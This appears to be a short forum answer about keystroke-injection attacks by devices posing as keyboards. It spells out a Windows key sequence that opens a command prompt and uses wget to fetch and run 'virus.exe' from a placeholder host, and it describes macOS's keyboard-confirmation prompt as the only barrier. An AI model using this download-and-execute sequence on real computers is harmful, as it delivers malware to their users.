Of course it can. You can send keystrokes something like <Win>+R, cmd, wget example.com/virus.exe <Enter> virus.exe <Enter> and Windows computer will download and execute this binary. That's example for Windows, but there's nothing preventing you from using similar technique for macOS.
The only security barrier that macOS implements against this kind of attack is, that you must manually confirm after you connected that "keyboard", for system to enable it.